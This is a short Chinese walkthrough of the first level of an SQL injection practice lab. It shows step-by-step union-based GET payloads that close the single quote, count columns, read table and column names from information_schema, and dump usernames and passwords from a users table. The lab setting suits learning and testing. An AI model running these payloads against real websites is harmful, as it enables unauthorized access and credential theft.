总目录:戳一戳
Less-1:GET - Error based - Single quotes -String
- 首先尝试
?id=1'
,发现报错信息多了单引号
- 利用单引号闭合
?id=1'and'1=1
,注入成功
- 常规流程:猜字段
?id=1'order by 3%23
,可以看到当字段为3时,回显正常
%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值
- 而当id=4时,报错,说明字段数为3
- 爆字段位置
?id=111'union select 1,2,3%23
- 爆库
?id='union select 1,2,database()%23
得到库名:security
- 爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
,题目要求id,应该是users,用户数据表
- 爆列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
- 爆数据
?id=' union select 1,2,group_concat(username,0x3a,password) from users%23
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username。